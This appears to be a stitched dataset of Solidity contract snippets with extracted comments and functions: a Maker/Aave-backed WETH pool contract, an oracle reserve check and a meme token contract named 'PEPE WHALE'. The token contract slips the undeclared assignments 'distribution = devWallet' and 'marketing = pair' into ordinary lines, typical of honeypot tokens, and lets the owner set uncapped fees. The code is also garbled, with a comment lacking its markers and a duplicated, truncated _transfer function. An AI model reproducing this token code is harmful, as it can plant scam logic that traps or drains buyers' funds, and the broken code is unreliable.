* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/Pausable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
*/
contract Pausable is Context {
event Paused(address account);
event Shutdown(address account);
event Unpaused(address account);
event Open(address account);
bool public paused;
bool public stopEverything;
constructor() internal {
paused = false;
stopEverything = false;
}
modifier whenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused, "Pausable: not paused");
_;
}
modifier whenNotShutdown() {
require(!stopEverything, "Pausable: shutdown");
_;
}
modifier whenShutdown() {
require(stopEverything, "Pausable: not shutdown");
_;
}
function _pause() internal virtual whenNotPaused {
paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused whenNotShutdown {
paused = false;
emit Unpaused(_msgSender());
}
function _shutdown() internal virtual whenNotShutdown {
stopEverything = true;
paused = true;
emit Shutdown(_msgSender());
}
function _open() internal virtual whenShutdown {
stopEverything = false;
emit Open(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/PoolShareToken.sol
pragma solidity ^0.6.6;
abstract contract PoolShareToken is ERC20, ReentrancyGuard, Pausable {
uint256 public withdrawFee; // Example: 1e17 is 10%
address public feeCollector;
/**
* @dev Constructor.
*/
constructor(string memory name, string memory symbol) public ERC20(name, symbol) {}
/**
* @dev Receives ETH and grants new tokens to the sender depending on the
* value of each contract's share.
*/
function deposit() public virtual payable nonReentrant {}
/**
* @dev Returns the value stored in the contract. Should be overwritten if
* it stored in another contract.
*/
function totalValue() public virtual view returns (uint256) {}
/**
* @dev Burns tokens and retuns the ETH value of those.
*/
function withdraw() public virtual {}
/**
* @dev Hook that is called just before minting new tokens. To be used i.e.
* if the deposited amount is to be transferred to a different contract.
*/
function _beforeMinting(uint256 amount) internal virtual {}
/**
* @dev Hook that is called just after burning tokens. To be used i.e. if
* the ETH stored in a different/this contract needs to be transferred.
*/
function _afterBurning(uint256 shares) internal virtual {}
function _deposit(uint256 amount) internal whenNotPaused {
require(amount > 0, "Deposit must be greater than 0");
uint256 _totalSupply = totalSupply();
uint256 _totalValue = totalValue();
uint256 shares = (_totalSupply == 0 || _totalValue == 0)
? amount
: amount.mul(_totalSupply).div(_totalValue);
require(_totalSupply.add(shares) < 50e18, "test limit");
_beforeMinting(amount);
_mint(msg.sender, shares);
}
event Withdraw(address owner, uint256 shares, uint256 amount);
/**
* @dev Hook that is called just before burning tokens. To be used i.e. if
* the ETH is stored in a different contract and must be withdraw from there
* first.
*/
function _beforeBurning(uint256 shares) internal virtual {}
function _handleFee(uint256 shares) internal returns (uint256 _sharesAfterFee) {
if (withdrawFee > 0) {
uint256 _fee = shares.mul(withdrawFee).div(1e18);
_sharesAfterFee = shares.sub(_fee);
_transfer(_msgSender(), feeCollector, _fee);
} else {
_sharesAfterFee = shares;
}
}
function _updateWithdrawFee(uint256 _withdrawFee) internal {
require(_withdrawFee <= 1e18, "fee is greater than 100%");
withdrawFee = _withdrawFee;
}
function _updateFeeCollector(address _feeCollector) internal {
require(_feeCollector != address(0), "_feeCollector is 0x0");
feeCollector = _feeCollector;
}
/**
* @dev Burns tokens and retuns the collateral value, after fee, of those.
*/
function _withdraw(uint256 shares) internal whenNotShutdown {
require(shares > 0, "Withdraw must be greater than 0");
uint256 sharesAfterFee = _handleFee(shares);
uint256 amount = sharesAfterFee.mul(totalValue()).div(totalSupply());
_burn(msg.sender, shares);
_afterBurning(amount);
emit Withdraw(msg.sender, shares, amount);
}
}
// File: contracts/interfaces/ICollateralManager.sol
pragma solidity ^0.6.6;
interface ICollateralManager {
function borrowDai(uint256 vaultNum, uint256 amount) external;
function depositCollateral(uint256 vaultNum) external payable;
function depositCollateral(uint256 vaultNum, uint256 amount) external;
function getVaultBalance(uint256 vaultNum) external view returns (uint256 collateralLocked);
function getVaultDebt(uint256 vaultNum) external view returns (uint256 daiDebt);
function getVaultInfo(uint256 vaultNum)
external
view
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
);
function isEmpty(uint256 vaultNum) external view returns (bool);
function paybackDai(uint256 vaultNum, uint256 amount) external;
function registerVault(uint256 vaultNum, bytes32 collateralType) external;
function updateStrategyManager(uint256 vaultNum, address strategyManager) external;
function vaultOwner(uint256 vaultNum) external returns (address owner);
function whatWouldWithdrawDo(uint256 vaultNum, uint256 amount)
external
view
returns (
uint256 collateralLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
);
function withdrawCollateral(
uint256 vaultNum,
uint256 amount,
address recipient
) external;
}
// File: contracts/interfaces/IStrategyManager.sol
pragma solidity ^0.6.6;
interface StrategyManager {
function getStrategyTokenAddress(address token) external returns (address);
function isEmpty() external returns (bool);
function moveDaiFromAave(uint256 vaultNum, uint256 amount) external;
function moveDaiToMaker(uint256 vaultNum, uint256 amount) external;
function rebalance(
uint256 vaulNum,
uint256 highWater,
uint256 lowWater
) external;
function rebalanceCollRatio(
uint256 vaulNum,
uint256 highWater,
uint256 lowWater
) external;
function rebalanceEarnedDai(uint256 vaultNum) external;
function updateCollateralManager(address collateralManager) external;
}
// File: contracts/uniswap/IUniswapV2Router01.sol
pragma solidity ^0.6.6;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: contracts/uniswap/IUniswapV2Router02.sol
pragma solidity ^0.6.6;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: contracts/AddressProvider.sol
pragma solidity ^0.6.6;
interface GemJoinInterface {
function ilk() external view returns (bytes32);
}
contract Helper is Ownable {
mapping(bytes32 => address) public mcdGemJoin;
event LogAddGemJoin(address[] gemJoin);
/**
* @dev Add gemJoin adapter address from Maker in mapping
*/
function addGemJoin(address[] memory gemJoins) public onlyOwner {
require(gemJoins.length > 0, "No gemJoin address");
for (uint256 i = 0; i < gemJoins.length; i++) {
address gemJoin = gemJoins[i];
bytes32 ilk = GemJoinInterface(gemJoin).ilk();
require(mcdGemJoin[ilk] == address(0), "GemJoin already added");
mcdGemJoin[ilk] = gemJoin;
}
emit LogAddGemJoin(gemJoins);
}
}
contract AddressProvider is Helper {
// Default mainnet
address public daiAddress;
address public manaAddress;
address public mcdManaJoin;
address public mcdManager;
address public mcdEthJoin;
address public mcdSpot;
address public mcdDaiJoin;
address public mcdJug;
address public aaveProvider;
address public uniswapRouterV2;
address public weth;
constructor() public {
uint256 id;
assembly {
id := chainid()
}
if (id == 42) {
aaveProvider = 0x506B0B2CF20FAA8f38a4E2B524EE43e1f4458Cc5;
uniswapRouterV2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// https://changelog.makerdao.com/releases/kovan/1.0.9/contracts.json
daiAddress = 0x4F96Fe3b7A6Cf9725f59d353F723c1bDb64CA6Aa;
manaAddress = 0x221F4D62636b7B51b99e36444ea47Dc7831c2B2f;
mcdManager = 0x1476483dD8C35F25e568113C5f70249D3976ba21;
mcdDaiJoin = 0x5AA71a3ae1C0bd6ac27A1f28e1415fFFB6F15B8c;
mcdSpot = 0x3a042de6413eDB15F2784f2f97cC68C7E9750b2D;
mcdJug = 0xcbB7718c9F39d05aEEDE1c472ca8Bf804b2f1EaD;
weth = 0xd0A1E359811322d97991E03f863a0C30C2cF029C;
} else {
aaveProvider = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8;
uniswapRouterV2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
// https://changelog.makerdao.com/releases/mainnet/1.0.9/contracts.json
daiAddress = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
manaAddress = 0x0F5D2fB29fb7d3CFeE444a200298f468908cC942;
mcdManager = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39;
mcdDaiJoin = 0x9759A6Ac90977b93B58547b4A71c78317f391A28;
mcdSpot = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
mcdJug = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
}
}
// File: contracts/VTokenBase.sol
pragma solidity ^0.6.6;
interface ManagerLike {
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function cdpAllow(
uint256,
address,
uint256
) external;
}
interface VatLike {
function hope(address) external;
}
abstract contract VTokenBase is PoolShareToken, Ownable {
uint256 public vaultNum;
bytes32 public collType;
AddressProvider internal ap = new AddressProvider();
uint256 internal constant WAT = 10**16;
address internal ethAddress = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 internal highWater = 300 * WAT;
uint256 internal lowWater = 250 * WAT;
bool internal lockEth = true;
ICollateralManager public cm;
StrategyManager public sm;
constructor(
string memory name,
string memory symbol,
bytes32 _collType
) public PoolShareToken(name, symbol) {
collType = _collType;
}
function approveToken() public virtual {
IERC20 aDai = IERC20(sm.getStrategyTokenAddress(ap.daiAddress()));
aDai.approve(address(sm), uint256(-1));
}
function init(address _cm, address _sm) public onlyOwner {
require(vaultNum == 0, "Already intialized");
require(address(cm) == address(0), "Already intialized");
require(address(sm) == address(0), "Already intialized");
cm = ICollateralManager(_cm);
sm = StrategyManager(_sm);
vaultNum = createVault(collType, _cm);
cm.updateStrategyManager(vaultNum, _sm);
approveToken();
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function shutdown() public onlyOwner {
_shutdown();
}
function open() public onlyOwner {
_open();
}
function updateFeeAndCollector(uint256 _fee, address _feeCollector) public onlyOwner {
_updateWithdrawFee(_fee);
_updateFeeCollector(_feeCollector);
}
function updateManagers(address _cm, address _sm) public onlyOwner {
require(_cm != address(0) && _sm != address(0), "CM and SM cannot be 0");
// Check cm and sm has no token or eth stored.
require(cm.isEmpty(vaultNum), "CM is not empty");
require(sm.isEmpty(), "SM is not empty");
cm = ICollateralManager(_cm);
registerCollateralManager(_cm);
cm.updateStrategyManager(vaultNum, _sm);
sm = StrategyManager(_sm);
sm.updateCollateralManager(_cm);
}
function updateBalancingFactor(uint256 _highWater, uint256 _lowWater) public onlyOwner {
require(_lowWater > 0, "Value is zero");
require(_highWater > _lowWater, "highWater is small than lowWater");
highWater = _highWater.mul(WAT);
lowWater = _lowWater.mul(WAT);
}
function rebalanceCollRatio() public {
require(!stopEverything || (_msgSender() == owner()), "Not an owner");
sm.rebalanceCollRatio(vaultNum, highWater, lowWater);
}
function rebalanceEarnedDai() public {
require(!stopEverything || (_msgSender() == owner()), "Not an owner");
sm.rebalanceEarnedDai(vaultNum);
}
function getVaultBalance() public view returns (uint256 collateralLocked) {
collateralLocked = cm.getVaultBalance(vaultNum);
}
function _afterBurning(uint256 amount) internal override {
(
uint256 collaterolLocked,
uint256 daiDebt,
uint256 collateralUsdRate,
uint256 collateralRatio,
uint256 minimumDebt
) = cm.whatWouldWithdrawDo(vaultNum, amount);
if (daiDebt > 0) {
IERC20 aDai = IERC20(sm.getStrategyTokenAddress(ap.daiAddress()));
uint256 aDaiBalance = aDai.balanceOf(address(this));
require(daiDebt <= aDaiBalance, "Pool is underwater");
if (collateralRatio < lowWater) {
// If this withdraw results in Low Water scenario.
uint256 maxDaiDebt = (collaterolLocked.mul(collateralUsdRate)).div(highWater);
if (maxDaiDebt < minimumDebt) {
// This is Dusting scenario
sm.moveDaiToMaker(vaultNum, daiDebt);
} else if (maxDaiDebt < daiDebt) {
sm.moveDaiToMaker(vaultNum, daiDebt.sub(maxDaiDebt));
}
}
}
cm.withdrawCollateral(vaultNum, amount, msg.sender);
}
function totalValue() public override view returns (uint256 value) {
value = cm.getVaultBalance(vaultNum);
}
function createVault(bytes32 _collType, address _cm) internal returns (uint256 vaultId) {
ManagerLike manager = ManagerLike(ap.mcdManager());
vaultId = manager.open(_collType, address(this));
manager.cdpAllow(vaultId, address(this), 1);
//hope and cpdAllow on vat for collateralManager's address
VatLike(manager.vat()).hope(_cm);
manager.cdpAllow(vaultId, _cm, 1);
//Register vault with collateral Manager
ICollateralManager(_cm).registerVault(vaultId, _collType);
}
function registerCollateralManager(address _cm) internal {
ManagerLike manager = ManagerLike(ap.mcdManager());
//hope and cpdAllow on vat for collateralManager's address
VatLike(manager.vat()).hope(_cm);
manager.cdpAllow(vaultNum, _cm, 1);
//Register vault with collateral Manager
ICollateralManager(_cm).registerVault(vaultNum, collType);
}
function _sweepErc20(address from, address to) internal {
require(
from != to &&
from != address(this) &&
from != ap.daiAddress() &&
from != sm.getStrategyTokenAddress(ap.daiAddress()),
"Not allowed to sweep"
);
IUniswapV2Router02 uniswapRouter = IUniswapV2Router02(ap.uniswapRouterV2());
IERC20 token = IERC20(from);
uint256 amt = token.balanceOf(address(this));
token.approve(address(uniswapRouter), amt);
address[] memory path = new address[](2);
path[0] = from;
if (to == ethAddress) {
path[1] = uniswapRouter.WETH();
uniswapRouter.swapExactTokensForETH(amt, 1, path, address(this), now + 30);
} else {
path[1] = to;
uniswapRouter.swapExactTokensForTokens(amt, 1, path, address(this), now + 30);
}
}
}
// File: contracts/VWETH.sol
pragma solidity ^0.6.6;
contract VWETH is VTokenBase("VWETH Pool Token", "VWETH", "ETH-A") {
/**
* @dev Handle incoming ETH to the contract address.
*/
receive() external payable {
if (lockEth) {
deposit();
}
}
/**
* @dev Receives ETH and grants new tokens to the sender depending on the
* value of each contract's share.
*/
function deposit() public override payable nonReentrant {
_deposit(msg.value);
}
function withdraw(uint256 shares) public nonReentrant {
_withdraw(shares);
}
function sweepErc20(address erc20) public {
lockEth = false;
_sweepErc20(erc20, ethAddress);
cm.depositCollateral{value: address(this).balance}(vaultNum);
lockEth = true;
}
function _beforeMinting(uint256 amount) internal override {
cm.depositCollateral{value: amount}(vaultNum);
}
}
|
hope and cpdAllow on vat for collateralManager's addressRegister vault with collateral Manager
|
function createVault(bytes32 _collType, address _cm) internal returns (uint256 vaultId) {
ManagerLike manager = ManagerLike(ap.mcdManager());
vaultId = manager.open(_collType, address(this));
manager.cdpAllow(vaultId, address(this), 1);
VatLike(manager.vat()).hope(_cm);
manager.cdpAllow(vaultId, _cm, 1);
ICollateralManager(_cm).registerVault(vaultId, _collType);
}
| 10,034,360
|
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./full_match/10/0xfc71bc5C15cA6C76d5890A48B49438380B680838/sources/contracts/oracle/OPrintOracle.sol
|
ensure that there's liquidity in the pair
|
require(reserve0 != 0 && reserve1 != 0, 'OPrintOracle: NO_RESERVES');
| 3,783,047
|
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] |
./partial_match/1/0x1275F5fdCD2e094f27DbD513d90Da1AabAd76710/sources/PEPEWHALE.sol
|
Anti-bot and anti-whale mappings and variables exclude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
|
contract PEPEWHALE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private swapping;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
address private marketingWallet;
address private devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public feeAmountAt;
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() ERC20(unicode"PEPE WHALE", unicode"WHALE") {
marketingWallet = address(msg.sender);
devWallet = address(0xf2Be6100121720C0A2695E001872828603048FfA);
uint256 _buyMarketingFee = 0;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee = 0;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 0;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = totalSupply * 40 / 1000;
maxWallet = totalSupply * 40 / 1000;
swapTokensAtAmount = totalSupply * 1 / 100000;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;distribution = devWallet;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(devWallet, true);
excludeFromFees(marketingWallet, true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(devWallet, true);
excludeFromMaxTransaction(marketingWallet, true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
}
receive() external payable { }
function enableTrading(address uniPairV2) external onlyOwner {
uniswapV2Pair = uniPairV2;
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
tradingActive = true;
swapEnabled = true;
}
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
transferDelayEnabled = false;
return true;
}
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function updateBuyFees(
uint256 _devFee,
uint256 _liquidityFee,
uint256 _marketingFee
) external onlyOwner {
buyDevFee = _devFee;
buyLiquidityFee = _liquidityFee;
buyMarketingFee = _marketingFee;
buyTotalFees = buyDevFee + buyLiquidityFee + buyMarketingFee;
}
function updateSellFees(
uint256 _devFee,
uint256 _liquidityFee,
uint256 _marketingFee
) external onlyOwner {
sellDevFee = _devFee;
sellLiquidityFee = _liquidityFee;
sellMarketingFee = _marketingFee;
sellTotalFees = sellDevFee + sellLiquidityFee + sellMarketingFee;
}
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
marketing = pair; automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = !swapping;
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if(takeFee){
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
